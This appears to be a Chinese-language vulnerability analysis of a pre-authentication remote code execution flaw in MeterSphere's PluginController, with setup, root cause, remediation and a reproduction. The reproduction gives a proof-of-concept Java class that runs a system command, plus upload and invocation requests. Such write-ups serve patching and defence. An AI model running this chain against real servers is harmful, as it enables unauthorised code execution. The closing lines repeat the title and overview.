MeterSphere PluginController 预认证远程代码执行漏洞分析<\/h1>

漏洞概述<\/h2>
MeterSphere v1.16.3 及之前版本存在一个预认证远程代码执行漏洞，攻击者可以在未授权的情况下通过上传恶意JAR文件并调用特定方法实现任意代码执行。<\/p>

环境搭建<\/h2>

下载 MeterSphere v1.16.3 安装包：<\/p>

wget https:\/\/github.com\/metersphere\/metersphere\/releases\/download\/v1.16.3\/metersphere-online-installer-v1.16.3.tar.gz
<\/span><\/span><\/code><\/pre><\/li>

解压并进入安装目录：<\/p>
tar zxvf metersphere-online-installer-v1.16.3.tar.gz
<\/span><\/span>cd metersphere-online-installer-v1.16.3\/
<\/span><\/span><\/code><\/pre><\/li>

设置版本变量并修改安装配置：<\/p>
MSVERSION=<\/span>"v1.16.3"<\/span>
<\/span><\/span>echo $MSVERSION
<\/span><\/span>sed -i -e "s#MS_IMAGE_TAG=.*#MS_IMAGE_TAG=<\/span>${<\/span>MSVERSION}<\/span>#g"<\/span> install.conf
<\/span><\/span>sed -i -e "s#MS_IMAGE_PREFIX=.*#MS_IMAGE_PREFIX=registry.cn-qingdao.aliyuncs.com\\/metersphere#g"<\/span> install.conf
<\/span><\/span><\/code><\/pre><\/li>

执行安装：<\/p>
\/bin\/bash install.sh
<\/span><\/span><\/code><\/pre><\/li>
<\/ol>
安装完成后，MeterSphere 将运行在 http:\/\/172.16.16.129:8081\/<\/code>，可通过 docker中 msctl status<\/code> 查看服务状态。<\/p>
漏洞分析<\/h2>
漏洞根源<\/h3>
通过对比 v1.16.3 和 v1.16.4 版本的代码差异：<\/p>
https:\/\/github.com\/metersphere\/metersphere\/compare\/v1.16.3...v1.16.4
<\/code><\/pre>
发现 v1.16.4 删除了 \/plugin\/**<\/code> 路由的 anon 权限，这意味着在 v1.16.3 及之前版本中，访问 \/plugin\/<\/code> 路径不需要授权。<\/p>
关键代码分析<\/h3>
漏洞位于 io.metersphere.controller.PluginController<\/code> 类中，主要涉及两个方法：<\/p>


add 方法<\/strong>：<\/p>

处理文件上传<\/li>
调用链：
PluginController.add() 
→ PluginService.editPlugin() 
→ FileUtils.create()
<\/code><\/pre>
<\/li>
上传的文件被保存到 \/opt\/metersphere\/data\/body\/plugin\/<\/code> 目录下，文件名格式为 UUID + 原始文件名，如：
\/opt\/metersphere\/data\/body\/plugin\/490fb08a-eae3-4414-a991-09f16f5b8f5e_test.jar
<\/code><\/pre>
<\/li>
然后调用 PluginService.getMethod()<\/code> → loadJar()<\/code>，通过 URLClassLoader<\/code> 加载上传的 JAR 文件<\/li>
<\/ul>
<\/li>

customMethod 方法<\/strong>：<\/p>

调用链：
PluginController.customMethod() 
→ PluginService.customMethod() 
→ Class.forName()
<\/code><\/pre>
<\/li>
Class.forName()<\/code> 的参数可控，可以加载并执行上传的 JAR 文件中定义的类方法<\/li>
<\/ul>
<\/li>
<\/ol>
攻击流程<\/h3>

编写恶意 Java 类，包含 customMethod<\/code> 方法<\/li>
将恶意类打包为 JAR 文件<\/li>
通过 \/plugin\/add<\/code> 路由上传恶意 JAR 文件<\/li>
通过 \/plugin\/customMethod<\/code> 路由调用 JAR 文件中的恶意方法<\/li>
<\/ol>
漏洞复现<\/h2>


创建恶意 Java 类：<\/p>
public<\/span> class<\/span> Evil<\/span> {<\/span>
<\/span><\/span>    public<\/span> static<\/span> Object customMethod<\/span>()<\/span> {<\/span>
<\/span><\/span>        try<\/span> {<\/span>
<\/span><\/span>            \/\/ 恶意代码，例如执行系统命令
<\/span><\/span><\/span><\/span>            Runtime.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>"calc.exe"<\/span>);<\/span>
<\/span><\/span>            return<\/span> "Exploit Success"<\/span>;<\/span>
<\/span><\/span>        }<\/span> catch<\/span> (<\/span>Exception e)<\/span> {<\/span>
<\/span><\/span>            e.<\/span>printStackTrace<\/span>();<\/span>
<\/span><\/span>            return<\/span> "Exploit Failed"<\/span>;<\/span>
<\/span><\/span>        }<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre><\/li>

编译并打包为 JAR 文件：<\/p>
javac Evil.java
<\/span><\/span>jar cvf evil.jar Evil.class
<\/span><\/span><\/code><\/pre><\/li>

上传恶意 JAR 文件：<\/p>
POST \/plugin\/add
(文件上传请求，包含 evil.jar)
<\/code><\/pre>
<\/li>

调用恶意方法：<\/p>
POST \/plugin\/customMethod
{
    "entry": "Evil",
    "request": {}
}
<\/code><\/pre>
<\/li>
<\/ol>
修复方案<\/h2>

升级到 MeterSphere v1.16.4 或更高版本<\/li>
临时解决方案：在应用层对 \/plugin\/**<\/code> 路径添加认证检查<\/li>
<\/ol>
总结<\/h2>
该漏洞利用链清晰，通过未授权上传+动态加载+反射调用三个环节实现了预认证的远程代码执行。开发人员在设计插件系统时应特别注意：<\/p>

文件上传的安全校验<\/li>
动态加载类的安全控制<\/li>
反射调用的参数过滤<\/li>
敏感接口的权限控制<\/li>
<\/ul>

MeterSphere PluginController 预认证远程代码执行漏洞分析<\/h1>

漏洞概述<\/h2> MeterSphere v1.16.3 及之前版本存在一个预认证远程代码执行漏洞，攻击者可以在未授权的情况下通过上传恶意JAR文件并调用特定方法实现任意代码执行。<\/p>

漏洞概述<\/h2>
MeterSphere v1.16.3 及之前版本存在一个预认证远程代码执行漏洞，攻击者可以在未授权的情况下通过上传恶意JAR文件并调用特定方法实现任意代码执行。<\/p>